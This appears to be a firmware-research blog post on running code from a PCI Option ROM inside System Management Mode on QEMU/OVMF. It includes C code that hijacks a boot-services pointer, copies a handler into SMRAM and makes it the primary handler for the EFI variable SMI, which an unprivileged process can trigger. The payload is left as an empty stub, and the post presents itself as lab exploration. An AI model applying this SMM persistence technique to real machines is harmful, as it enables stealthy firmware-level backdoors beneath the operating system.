<p>We want to use SecureBoot, SMM, and a TPM2 within OVMF – so it needs more setup. I followed the build steps from Fedora’s <code class="language-plaintext highlighter-rouge">edk2-ovmf</code> <a href="https://git.kraxel.org/cgit/jenkins/edk2/tree/edk2.git.spec.template">package spec</a>.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>wget https://git.kraxel.org/cgit/jenkins/edk2/plain/0001-EXCLUDE_SHELL_FROM_FD.patch
<span class="nv">$ </span>wget https://git.kraxel.org/cgit/jenkins/edk2/plain/0001-OvmfPkg-SmbiosPlatformDxe-install-legacy-QEMU-tables.patch
<span class="nv">$ </span>wget https://git.kraxel.org/cgit/jenkins/edk2/plain/0002-OvmfPkg-SmbiosPlatformDxe-install-patch-default-lega.patch
<span class="nv">$ </span>wget https://git.kraxel.org/cgit/jenkins/edk2/plain/0003-OvmfPkg-SmbiosPlatformDxe-install-patch-default-lega.patch
<span class="nv">$ </span>patch <span class="nt">-l</span> <span class="nt">-p1</span> &lt; 0001-EXCLUDE_SHELL_FROM_FD.patch
<span class="nv">$ </span>patch <span class="nt">-l</span> <span class="nt">-p1</span> &lt; 0001-OvmfPkg-SmbiosPlatformDxe-install-legacy-QEMU-tables.patch
<span class="nv">$ </span>patch <span class="nt">-l</span> <span class="nt">-p1</span> &lt; 0002-OvmfPkg-SmbiosPlatformDxe-install-patch-default-lega.patch
<span class="nv">$ </span>patch <span class="nt">-l</span> <span class="nt">-p1</span> &lt; 0003-OvmfPkg-SmbiosPlatformDxe-install-patch-default-lega.patch
<span class="nv">$ </span>OvmfPkg/build.sh <span class="se">\</span>
    <span class="nt">-a</span> IA32 <span class="nt">-a</span> X64 <span class="se">\</span>
    <span class="nt">-D</span> SMM_REQUIRE <span class="nt">-D</span> SECURE_BOOT_ENABLE <span class="se">\</span>
    <span class="nt">-D</span> TPM2_ENABLE <span class="nt">-D</span> TPM2_CONFIG_ENABLE <span class="se">\</span>
    <span class="nt">-D</span> FD_SIZE_2MB <span class="nt">-D</span> EXCLUDE_SHELL_FROM_FD
</code></pre></div></div>

<p>Then obtain the template UEFI variable-store with Secure Boot PK and other variables set to boot a signed Fedora install.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>wget https://rpmfind.net/linux/fedora/linux/development/rawhide/Everything/armhfp/os/Packages/e/edk2-ovmf-20190501stable-4.fc32.noarch.rpm
<span class="nv">$ </span>rpm2cpio edk2-ovmf-20190501stable-4.fc32.noarch.rpm | cpio <span class="nt">-idmv</span>
<span class="o">[</span>...]
./usr/share/OVMF/OVMF_VARS.secboot.fd
</code></pre></div></div>

<p>Build an example Option ROM using iPXE. We can build an Option ROM more simply, but iPXE has great build tooling and is a well-written codebase. We will build an EFI ROM, an Option ROM with ‘Code Type’ EFI, which is supported by EDK2. This builds an EFI driver then encapsulates it with the needed PCI Expansion ROM header and PCI Data Structure header. We use the Vendor/Model ID for an <em>Intel Corporation 82574L Gigabit Network Connection</em>, which is the <code class="language-plaintext highlighter-rouge">e1000e</code> default emulated QEMU NIC.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>git clone git://git.ipxe.org/ipxe.git <span class="o">&amp;&amp;</span> <span class="nb">cd </span>ipxe/src
<span class="nv">$ </span>make bin-x86_64-efi/808610d3.efirom <span class="nv">V</span><span class="o">=</span>1
</code></pre></div></div>

<p>The final step is installing Fedora Server. I leave this exercise to the reader.</p>

<p>A resulting QEMU command to put these pieces together:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">OROM</span><span class="o">=</span>./ipxe/src/bin-x86_64-efi/808610d3.efirom
<span class="nv">OVMF</span><span class="o">=</span>./edk2/Build/Ovmf3264/DEBUG_GCC5/FV/OVMF_CODE.fd
<span class="nv">VARS</span><span class="o">=</span>./usr/share/OVMF/OVMF_VARS.secboot.fd

<span class="nv">$ </span>./qemu/x86_64-softmmu/qemu-system-x86_64 <span class="se">\</span>
    <span class="nt">-machine</span> q35,smm<span class="o">=</span>on,accel<span class="o">=</span>tcg <span class="se">\</span>
    <span class="nt">-m</span> 1024 <span class="se">\</span>
    <span class="nt">-smp</span> 4,sockets<span class="o">=</span>1,cores<span class="o">=</span>4,threads<span class="o">=</span>1 <span class="se">\</span>
    <span class="nt">-nographic</span> <span class="se">\</span>
    <span class="nt">-serial</span> mon:stdio <span class="se">\</span>
    <span class="nt">-chardev</span> pty,id<span class="o">=</span>charserial1 <span class="se">\</span>
    <span class="nt">-device</span> isa-serial,chardev<span class="o">=</span>charserial1,id<span class="o">=</span>serial1 <span class="se">\</span>
    <span class="nt">-netdev</span> bridge,id<span class="o">=</span>net0,br<span class="o">=</span><span class="nv">$ </span><span class="se">\</span>
    <span class="nt">-device</span> e1000e,netdev<span class="o">=</span>net0,romfile<span class="o">=</span><span class="nv">$OROM</span> <span class="se">\</span>
    <span class="nt">-global</span> <span class="nv">driver</span><span class="o">=</span>cfi.pflash01,property<span class="o">=</span>secure,value<span class="o">=</span>on <span class="se">\</span>
    <span class="nt">-drive</span> <span class="nv">file</span><span class="o">=</span><span class="nv">$OVMF</span>,if<span class="o">=</span>pflash,format<span class="o">=</span>raw,unit<span class="o">=</span>0,readonly<span class="o">=</span>on <span class="se">\</span>
    <span class="nt">-drive</span> <span class="nv">file</span><span class="o">=</span><span class="nv">$VARS</span>,if<span class="o">=</span>pflash,format<span class="o">=</span>raw,unit<span class="o">=</span>1 <span class="se">\</span>
    <span class="nt">-chardev</span> socket,id<span class="o">=</span>chrtpm,path<span class="o">=</span><span class="nv">$YOUR_TPM</span>/tpmstate/swtpm-sock <span class="se">\</span>
    <span class="nt">-tpmdev</span> emulator,id<span class="o">=</span>tpm0,chardev<span class="o">=</span>chrtpm <span class="se">\</span>
    <span class="nt">-device</span> tpm-tis,tpmdev<span class="o">=</span>tpm0 <span class="se">\</span>
    <span class="nt">-debugcon</span> file:debug.log <span class="se">\</span>
    <span class="nt">-global</span> isa-debugcon.iobase<span class="o">=</span>0x402 <span class="se">\</span>
    <span class="nt">-hda</span> <span class="nv">$YOUR_DISK</span>
</code></pre></div></div>

<p>Inspecting <code class="language-plaintext highlighter-rouge">dmesg</code> should show that Secure boot is enabled.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>dmesg
<span class="o">[</span>...]
<span class="o">[</span>    0.000000] efi: EFI v2.70 by EDK II
<span class="o">[</span>    0.000000] efi:  <span class="nv">SMBIOS</span><span class="o">=</span>0x3ebd2000  <span class="nv">ACPI</span><span class="o">=</span>0x3ebf9000  ACPI 2.0<span class="o">=</span>0x3ebf9014  <span class="nv">MEMATTR</span><span class="o">=</span>0x3dcb6018
<span class="o">[</span>    0.000000] secureboot: Secure boot enabled
<span class="o">[</span>    0.000000] Kernel is locked down from EFI secure boot<span class="p">;</span> see man kernel_lockdown.7
<span class="o">[</span>    0.000000] SMBIOS 2.8 present.
</code></pre></div></div>

<p>And the TPM device:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>dmesg
<span class="o">[</span>...]
<span class="o">[</span>    0.000000] tpm_tis 00:06: 1.2 TPM <span class="o">(</span>device-id 0x1, rev-id 1<span class="o">)</span>
<span class="o">[</span>    0.000000] tpm tpm0: starting up the TPM manually
</code></pre></div></div>

<p>To inspect the PCR values we need to install <code class="language-plaintext highlighter-rouge">tpm2-tools</code>.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>rpm <span class="nt">-i</span> ./tpm2-tss-2.3.1-1.fc32.x86_64.rpm
<span class="nv">$ </span><span class="nb">sudo </span>rpm <span class="nt">-i</span> ./tpm2-tools-3.2.0-3.fc31.x86_64.rpm
<span class="nv">$ </span><span class="nb">sudo </span>tpm2_pcrlist
sha1 :
  0  : 475ea346af5cfc78c73f667e6342eb4936dced00 // Platform
  1  : 4a2ee913fdf51ff91eaab4b818007e6936141436 // Platform Config
  2  : 42516d0f53d87232b19d013880bc99d5c0f997b1 // Option ROM Code
  3  : b2a83b0ebf2f8374299a5b2bdfc31ea955ad7236 // Option ROM Config+Data
  4  : 5a7c6b901aa914083fa625f2e7a37860a79bf7dd // IPL Code
  5  : 696ac3602fd7f434d698180b2a02b15b8deadf4d // IPL Config+Datsa
  6  : b2a83b0ebf2f8374299a5b2bdfc31ea955ad7236
  7  : 4037336fa7bc0eabe3778fcfff5fcd0ee6adcde3
<span class="o">[</span>...]
  9  : 0b3d418464da7ce0459dc9fc6d72447354a13e1e
<span class="o">[</span>...]
</code></pre></div></div>

<p>We can boot several times and see the values are consistent. Later when we modify Option ROM code we can verify that only PCRs 2 and 3 change. This still allows us to boot since the measurements are only used as a log. If we implemented an attestation and included these PCRs we might fail.</p>

<p>Specifically, we’ll be making changes to iPXE and the <code class="language-plaintext highlighter-rouge">romfile=</code> value for QEMU’s configured <code class="language-plaintext highlighter-rouge">e1000e</code> device.</p>

<p>This testing environment allows for easy debugging with GDB. We can use <a href="https://github.com/artem-nefedov/uefi-gdb">uefi-gdb</a> and add <code class="language-plaintext highlighter-rouge">-s -S</code> to the QEMU argument list to start QEMU in GDB, auto-add all the OVMF debug symbols, and persist our breakpoints between executions.</p>

<ul>
  <li>Update the QEMU arguments to include <code class="language-plaintext highlighter-rouge">-s -S</code>, and remember to use <code class="language-plaintext highlighter-rouge">accel=tcg</code> instead of <code class="language-plaintext highlighter-rouge">accel=kvm</code></li>
  <li>Start <code class="language-plaintext highlighter-rouge">gdb -ex 'source ./uefi-gdb/efi.py'</code> in the current-working-directory as QEMU’s output <code class="language-plaintext highlighter-rouge">debug.log</code></li>
  <li>Run <code class="language-plaintext highlighter-rouge">(gdb) efi -64</code> and make sure the OVMF debug symbols are loaded</li>
</ul>

<p>Recommended symbols to break on include:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">CoreLoadImageCommon</code></li>
  <li><code class="language-plaintext highlighter-rouge">SmiHandlerRegister</code>,</li>
  <li><code class="language-plaintext highlighter-rouge">SmmIplReadyToLockEventNotify</code></li>
  <li><code class="language-plaintext highlighter-rouge">PciHostBridgeResourceAllocator</code></li>
  <li><code class="language-plaintext highlighter-rouge">ProcessOpRomImage</code></li>
  <li><code class="language-plaintext highlighter-rouge">Defer3rdPartyImageLoad</code></li>
</ul>

<p>Exploring the program state using these starting points helped me understand the end-to-end. I could hone in on what code was relevant and use that to dive deeper.</p>

<p>Within the OVMF platforms, UEFI Secure Boot does not verify Option ROM code due to <code class="language-plaintext highlighter-rouge">PcdOptionRomImageVerificationPolicy</code> set to <code class="language-plaintext highlighter-rouge">0x0</code>. This is the case for for OvmfPkgIa32, OvmfPkgX64, OvmfPkgIa32X64, and OvmfXen. If we wanted we could modify the EDKII code and set the value to <code class="language-plaintext highlighter-rouge">0x4</code> for OvmfPkgIa32X64 to prevent our custom Option ROM from loading.</p>

<h2 id="modify-ovmf-to-allow-option-roms-to-execute-code-in-smm">Modify OVMF to allow Option ROMs to execute code in SMM</h2>

<p>An introduction to System Management Mode (SMM) is beyond the scope of this article. I highly recommend reading <a href="http://blog.cr4.sh/2015/07/building-reliable-smm-backdoor-for-uefi.html">Building reliable SMM backdoor for UEFI based platforms</a> by Dmytro Oleksiuk for an overview of SMM.</p>

<p>One thing that is relevant for us is knowing SMM/SMRAM is “locked” via <code class="language-plaintext highlighter-rouge">SmmIplReadyToLockEventNotify</code>. And images with deferred execution, like Option ROMs, are executed after this and the <code class="language-plaintext highlighter-rouge">EndOfDxe</code> event. This makes sense since Option ROM functionality should first be relevant during the Boot Device Selection (BDS) phase of UEFI’s lifecycle.</p>

<p>Observe in the QEMU <code class="language-plaintext highlighter-rouge">debug.log</code></p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>Security] 3rd party image[0] is deferred to load before EndOfDxe: PciRoot<span class="o">(</span>0x0<span class="o">)</span>/Pci<span class="o">(</span>0x2,0x0<span class="o">)</span>/Offset<span class="o">(</span>0x0,0x377FF<span class="o">)</span><span class="nb">.</span>
<span class="o">[</span>...]
SMM IPL locked SMRAM window
<span class="o">[</span>Security] 3rd party image[3DEC8D18] can be loaded after EndOfDxe: PciRoot<span class="o">(</span>0x0<span class="o">)</span>/Pci<span class="o">(</span>0x2,0x0<span class="o">)</span>/Offset<span class="o">(</span>0x0,0x377FF<span class="o">)</span><span class="nb">.</span>
<span class="o">[</span>...]
</code></pre></div></div>

<p>Option ROMs are discovered within OVMF within <code class="language-plaintext highlighter-rouge">PciHostBridgeResourceAllocator</code>. You can find the relevant parsing and execution within <a href="https://github.com/tianocore/edk2/blob/master/MdeModulePkg/Bus/Pci/PciBusDxe/PciOptionRomSupport.c">PciOptionRomSupport.c</a>, specifically <code class="language-plaintext highlighter-rouge">LoadOpRomImage</code>. The load image is attempted and subsequently deferred.</p>

<p>An image, for example a DXE Driver, is scheduled for deferred execution based on its device path. If the path does not belong to a Firmware Volume it is considered 3rd-party and deferred. This check happens within <code class="language-plaintext highlighter-rouge">Security2StubAuthenticate</code> as part of <code class="language-plaintext highlighter-rouge">FileFromFv</code> and introduced in October 2016 via <a href="https://github.com/tianocore/edk2/commit/8be37a5cee700777ca8e8e8a34cc2225b21931a7">8be37a5cee700777ca8e8e8a34cc2225b21931a7</a>.</p>

<p>For the purposes of this experiment we will remove this check and allow Option ROMs to load before the <code class="language-plaintext highlighter-rouge">EndOfDxe</code>. We are not trying to demonstrate weakness or new knowledge, only explore and learn.</p>

<h2 id="install-an-smm-interrupt-smi-handler">Install an SMM Interrupt (SMI) Handler</h2>

<p>Lets focus on the iPXE codebase and <code class="language-plaintext highlighter-rouge">./src/interface/efi/efidrvprefix.c</code>. This contains our Option ROM entry point, the first code intentionally executed by OVMF.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/**
 * EFI entry point
 *
 * @v image_handle	Image handle
 * @v systab		System table
 * @ret efirc		EFI return status code
 */</span>
<span class="n">EFI_STATUS</span> <span class="n">EFIAPI</span> <span class="n">_efidrv_start</span> <span class="p">(</span> <span class="n">EFI_HANDLE</span> <span class="n">image_handle</span><span class="p">,</span>
				  <span class="n">EFI_SYSTEM_TABLE</span> <span class="o">*</span><span class="n">systab</span> <span class="p">)</span>
</code></pre></div></div>

<p>The first challenge is that this is executed ‘outside’ of SMM. And to my knowledge there is no configuration to request <code class="language-plaintext highlighter-rouge">CoreLoadImage</code> to execute an entry point within SMM like there is within the EDK using the <code class="language-plaintext highlighter-rouge">DXE_SMM_DRIVER</code> ModuleType.</p>

<p>The following represents the cleanest, easiest, and most reliable way to execute code from our Option ROM within SMM.</p>

<p>Within <code class="language-plaintext highlighter-rouge">MdeModulePkg/Core/PiSmmCore/PiSmmIpl.c</code> we find that creating a <code class="language-plaintext highlighter-rouge">gEfiEventDxeDispatchGuid</code> event will cause SMM’s dispatcher to scan for new images as well. We will not add to this list directly, but instead replace a pointer that the <code class="language-plaintext highlighter-rouge">SmmDriverDispatchHandler</code> will execute.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>306- //
307- // Declare event notification on the DXE Dispatch Event Group.  This event is signaled by the DXE Core
308- // each <span class="nb">time </span>the DXE Core dispatcher has completed its work.  When this event is signalled, the SMM Core
309- // <span class="k">if </span>notified, so the SMM Core can dispatch SMM drivers.
310- //
311:  <span class="o">{</span> FALSE, TRUE,  &amp;gEfiEventDxeDispatchGuid,          SmmIplDxeDispatchEventNotify,      &amp;gEfiEventDxeDispatchGuid,          TPL_CALLBACK, NULL <span class="o">}</span>,
</code></pre></div></div>

<p>We’ll add the following code to <code class="language-plaintext highlighter-rouge">_efidrv_start</code>, our entry point.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">gBS</span> <span class="o">=</span> <span class="n">systab</span><span class="o">-&gt;</span><span class="n">BootServices</span><span class="p">;</span>

<span class="c1">// Replace the LocateHandleBuffer pointer, called in SmmDriverDispatchHandler.</span>
<span class="n">gLocateHandleBufferBackup</span> <span class="o">=</span> <span class="p">(</span><span class="n">VOID</span><span class="o">*</span><span class="p">)</span><span class="n">gBS</span><span class="o">-&gt;</span><span class="n">LocateHandleBuffer</span><span class="p">;</span>
<span class="n">gBS</span><span class="o">-&gt;</span><span class="n">LocateHandleBuffer</span> <span class="o">=</span> <span class="p">(</span><span class="n">VOID</span><span class="o">*</span><span class="p">)</span><span class="n">HijackedLocateHandleBuffer</span><span class="p">;</span>

<span class="c1">// Indirectly trigger SmmDispatch, and thus calling our PxeLocateHandleBuffer method.</span>
<span class="n">efirc</span> <span class="o">=</span> <span class="n">gBS</span><span class="o">-&gt;</span><span class="n">CreateEventEx</span><span class="p">(</span>
  <span class="n">EVT_NOTIFY_SIGNAL</span><span class="p">,</span>
  <span class="n">TPL_NOTIFY</span><span class="p">,</span>
  <span class="n">EfiEventEmptyFunction</span><span class="p">,</span>
  <span class="nb">NULL</span><span class="p">,</span>
  <span class="o">&amp;</span><span class="n">gEfiEventDxeDispatchGuid</span><span class="p">,</span>
  <span class="o">&amp;</span><span class="n">DxeDispatchEvent</span>
<span class="p">);</span>
</code></pre></div></div>

<p>Our trampoline <code class="language-plaintext highlighter-rouge">HijackedLocateHandleBuffer</code> can be simple.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">EFI_STATUS</span>
<span class="n">EFIAPI</span>
<span class="nf">HijackedLocateHandleBuffer</span> <span class="p">(</span>
  <span class="n">IN</span> <span class="n">EFI_LOCATE_SEARCH_TYPE</span>   <span class="n">SearchType</span><span class="p">,</span>
  <span class="n">IN</span> <span class="n">EFI_GUID</span>                 <span class="o">*</span><span class="n">Protocol</span>   <span class="n">OPTIONAL</span><span class="p">,</span>
  <span class="n">IN</span> <span class="n">VOID</span>                     <span class="o">*</span><span class="n">SearchKey</span>  <span class="n">OPTIONAL</span><span class="p">,</span>
  <span class="n">IN</span> <span class="n">OUT</span> <span class="n">UINTN</span>                <span class="o">*</span><span class="n">BufferSize</span><span class="p">,</span>
  <span class="n">OUT</span> <span class="n">EFI_HANDLE</span>              <span class="o">*</span><span class="n">Buffer</span>
  <span class="p">)</span>
<span class="p">{</span>
  <span class="n">EFI_HANDLE</span> <span class="o">*</span><span class="n">HandleBuffer</span><span class="p">;</span>

  <span class="c1">// Remove the trampoline.</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">gLocateHandleBufferBackup</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">gBS</span><span class="o">-&gt;</span><span class="n">LocateHandleBuffer</span> <span class="o">=</span> <span class="p">(</span><span class="n">VOID</span><span class="o">*</span><span class="p">)</span><span class="n">gLocateHandleBufferBackup</span><span class="p">;</span>
    <span class="n">gLocateHandleBufferBackup</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="c1">// Call the actual LocateHandleBuffer (not really needed).</span>
  <span class="n">gBS</span><span class="o">-&gt;</span><span class="n">LocateHandleBuffer</span><span class="p">(</span>
    <span class="n">SearchType</span><span class="p">,</span>
    <span class="n">Protocol</span><span class="p">,</span>
    <span class="n">SearchKey</span><span class="p">,</span>
    <span class="n">BufferSize</span><span class="p">,</span>
    <span class="o">&amp;</span><span class="n">HandleBuffer</span>
  <span class="p">);</span>
  <span class="o">*</span><span class="n">BufferSize</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

  <span class="c1">// We should be running in SMM now.</span>
  <span class="n">OptionROMSmmEntryPoint</span><span class="p">();</span>

  <span class="k">return</span> <span class="n">Status</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>During testing there was only ever one callback into the <code class="language-plaintext highlighter-rouge">HijackedLocateHandleBuffer</code>. The next step is to add sanity checks to make sure we are executing within SMM. If we are not then accessing anything within SMRAM, even at this stage before <code class="language-plaintext highlighter-rouge">EndOfDxe</code> will cause a fault.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">VOID</span>
<span class="nf">OptionROMSmmEntryPoint</span><span class="p">()</span>
<span class="p">{</span>
  <span class="n">EFI_STATUS</span> <span class="n">Status</span><span class="p">;</span>
  <span class="n">BOOLEAN</span> <span class="n">InSmm</span> <span class="o">=</span> <span class="n">FALSE</span><span class="p">;</span>
  <span class="n">EFI_SMM_BASE2_PROTOCOL</span> <span class="o">*</span><span class="n">InternalSmmBase2</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>

  <span class="c1">// Resolve EFI_SMM_BASE2_PROTOCOL, which works inside/outside of SMM.</span>
  <span class="n">Status</span> <span class="o">=</span> <span class="n">gBS</span><span class="o">-&gt;</span><span class="n">LocateProtocol</span><span class="p">(</span>
    <span class="o">&amp;</span><span class="n">gEfiSmmBase2ProtocolGuid</span><span class="p">,</span>
    <span class="nb">NULL</span><span class="p">,</span>
    <span class="p">(</span><span class="n">VOID</span> <span class="o">**</span><span class="p">)</span><span class="o">&amp;</span><span class="n">InternalSmmBase2</span>
  <span class="p">);</span>

  <span class="k">if</span> <span class="p">(</span><span class="n">EFI_ERROR</span><span class="p">(</span><span class="n">Status</span><span class="p">)</span> <span class="o">||</span> <span class="n">InternalSmmBase2</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// Unlikely.</span>
    <span class="k">return</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="c1">// Convenient helper to check if code is running within SMRAM.</span>
  <span class="n">Status</span> <span class="o">=</span> <span class="n">InternalSmmBase2</span><span class="o">-&gt;</span><span class="n">InSmm</span><span class="p">(</span><span class="n">InternalSmmBase2</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">InSmm</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">EFI_ERROR</span><span class="p">(</span><span class="n">Status</span><span class="p">)</span> <span class="o">||</span> <span class="o">!</span><span class="n">InSmm</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// Unlikely.</span>
    <span class="k">return</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="c1">// This will fail outside of SMM.</span>
  <span class="n">Status</span> <span class="o">=</span> <span class="n">InternalSmmBase2</span><span class="o">-&gt;</span><span class="n">GetSmstLocation</span><span class="p">(</span><span class="n">InternalSmmBase2</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">gSmst</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">EFI_ERROR</span><span class="p">(</span><span class="n">Status</span><span class="p">)</span> <span class="o">||</span> <span class="n">gSmst</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> 
    <span class="c1">// Unlikely.</span>
    <span class="k">return</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="c1">// Do more work here.</span>
<span class="err">}</span>
</code></pre></div></div>

<p>The next part of testing focuses on persisting code within SMM. One goal I had was to reliably trigger/execute code during OS execution without being root.</p>

<h2 id="overwrite-efismmvariableprotocol-smi">Overwrite EfiSMMVariableProtocol SMI</h2>

<p>Our target is the <code class="language-plaintext highlighter-rouge">EfiSMMVariableProtocol</code> handler. This can be triggered by an unprivileged process <code class="language-plaintext highlighter-rouge">open</code>ing an <code class="language-plaintext highlighter-rouge">efivars</code> sysfs node.</p>

<p>Create an example stub that we can later fill in (outside the scope of this article) with our payload code.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">EFI_STATUS</span>
<span class="n">EFIAPI</span>
<span class="nf">HijackedVariableHandler</span><span class="p">(</span>
  <span class="n">IN</span>     <span class="n">EFI_HANDLE</span>                   <span class="n">DispatchHandle</span><span class="p">,</span>
  <span class="n">IN</span>     <span class="n">CONST</span> <span class="n">VOID</span>                   <span class="o">*</span><span class="n">RegisterContext</span><span class="p">,</span>
  <span class="n">IN</span> <span class="n">OUT</span> <span class="n">VOID</span>                         <span class="o">*</span><span class="n">CommBuffer</span><span class="p">,</span>
  <span class="n">IN</span> <span class="n">OUT</span> <span class="n">UINTN</span>                        <span class="o">*</span><span class="n">CommBufferSize</span>
  <span class="p">)</span>
<span class="p">{</span>
  <span class="c1">// Add your code here.</span>

  <span class="c1">// Return interrupt source pending to 'fall-through'.</span>
  <span class="k">return</span> <span class="n">EFI_WARN_INTERRUPT_SOURCE_PENDING</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Within <code class="language-plaintext highlighter-rouge">OptionROMSmmEntryPoint</code> lets install our handler.</p>

<p>The tricky part here is our handler will not replace the existing SMI handler but rather add to a list of handlers. When an SMI is triggered a list of handler methods is executed in the order they were installed, and only under certain conditions (their return code) a secondary or tertiary handler is attempted. We cannot cause the existing <code class="language-plaintext highlighter-rouge">EfiSMMVariableProtocol</code> handler to fail so we must uninstall and reinstall.</p>

<p>The final minor complication is our code right now is located outside of SMM. When SMM is locked, if it attempts to execute outside of SMRAM, a fault will occur. From a security/safety perspective this is ideal since we want to protect SMM’s execution.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">EFI_HANDLE</span> <span class="n">Handle</span><span class="p">;</span>
  <span class="n">VOID</span><span class="o">*</span> <span class="n">handler</span><span class="p">;</span>

  <span class="c1">// We need to move our code into SMM.</span>
  <span class="n">gSmst</span><span class="o">-&gt;</span><span class="n">SmmAllocatePool</span><span class="p">(</span><span class="n">EfiRuntimeServicesCode</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">handler</span><span class="p">);</span>
  <span class="n">gBS</span><span class="o">-&gt;</span><span class="n">CopyMem</span><span class="p">((</span><span class="kt">void</span><span class="o">*</span><span class="p">)</span><span class="n">handler</span><span class="p">,</span> <span class="n">HijackedVariableHandler</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">);</span>

  <span class="n">EFI_SMM_HANDLER_ENTRY_POINT2</span> <span class="n">HijackedVariableHandlerInSMM</span> <span class="o">=</span>
    <span class="p">(</span><span class="n">EFI_SMM_HANDLER_ENTRY_POINT2</span><span class="p">)</span><span class="n">handler</span><span class="p">;</span>

  <span class="c1">// Install our handler as secondary.</span>
  <span class="n">Status</span> <span class="o">=</span> <span class="n">gSmst</span><span class="o">-&gt;</span><span class="n">SmiHandlerRegister</span><span class="p">(</span>
    <span class="n">HijackedVariableHandlerInSMM</span><span class="p">,</span>
    <span class="o">&amp;</span><span class="n">gEfiSmmVariableProtocolGuid</span><span class="p">,</span>
    <span class="o">&amp;</span><span class="n">Handle</span>
  <span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">EFI_ERROR</span><span class="p">(</span><span class="n">Status</span><span class="p">))</span> <span class="p">{</span>
    <span class="c1">// Should free too.</span>
    <span class="k">return</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="n">SMI_HANDLER</span> <span class="o">*</span><span class="n">SmiHandler</span> <span class="o">=</span> <span class="p">(</span><span class="n">SMI_HANDLER</span> <span class="o">*</span><span class="p">)</span><span class="n">Handle</span><span class="p">;</span>
  <span class="n">LIST_ENTRY</span> <span class="o">*</span><span class="n">List</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">SmiHandler</span><span class="o">-&gt;</span><span class="n">SmiEntry</span><span class="o">-&gt;</span><span class="n">SmiHandlers</span><span class="p">;</span>
  <span class="n">LIST_ENTRY</span> <span class="o">*</span><span class="n">Link</span> <span class="o">=</span> <span class="n">List</span><span class="o">-&gt;</span><span class="n">ForwardLink</span><span class="p">;</span>

  <span class="c1">// The 'real' or existing SMI handler.</span>
  <span class="n">SMI_HANDLER</span> <span class="o">*</span><span class="n">ExistingHandler</span> <span class="o">=</span> <span class="p">(</span><span class="n">SMI_HANDLER</span><span class="o">*</span><span class="p">)</span><span class="n">Link</span><span class="p">;</span>
  <span class="n">EFI_SMM_HANDLER_ENTRY_POINT2</span> <span class="n">ExistingEntry</span> <span class="o">=</span>
    <span class="n">ExistingHandler</span><span class="o">-&gt;</span><span class="n">Handler</span><span class="p">;</span>

  <span class="c1">// Uninstall the primary handler.</span>
  <span class="n">gSmst</span><span class="o">-&gt;</span><span class="n">SmiHandlerUnRegister</span><span class="p">((</span><span class="n">EFI_HANDLE</span><span class="p">)(</span><span class="n">ExistingHandler</span><span class="p">));</span>

  <span class="c1">// "Reinstall" the primary as the secondary.</span>
  <span class="n">gSmst</span><span class="o">-&gt;</span><span class="n">SmiHandlerRegister</span><span class="p">(</span>
    <span class="n">ExistingEntry</span><span class="p">,</span>
    <span class="o">&amp;</span><span class="n">gEfiSmmVariableProtocolGuid</span><span class="p">,</span>
    <span class="o">&amp;</span><span class="n">Handle</span>
  <span class="p">);</span>

  <span class="c1">// Now our handler is primary.</span>
</code></pre></div></div>

<p>If we add console logging to <code class="language-plaintext highlighter-rouge">HijackedVariableHandler</code> we can verify it is run often and can be triggered with the following:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">cat</span> /sys/firmware/efi/efivars/Lang-8be4df61-93ca-11d2-aa0d-00e098032b8c
</code></pre></div></div>

<p>And it is cool to see the only change to PCR measurements (as expected) are the Option ROM-relevant PCRs:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>tpm2_pcrlist
sha1 :
  0  : 475ea346af5cfc78c73f667e6342eb4936dced00 // Platform
  1  : 4a2ee913fdf51ff91eaab4b818007e6936141436 // Platform Config
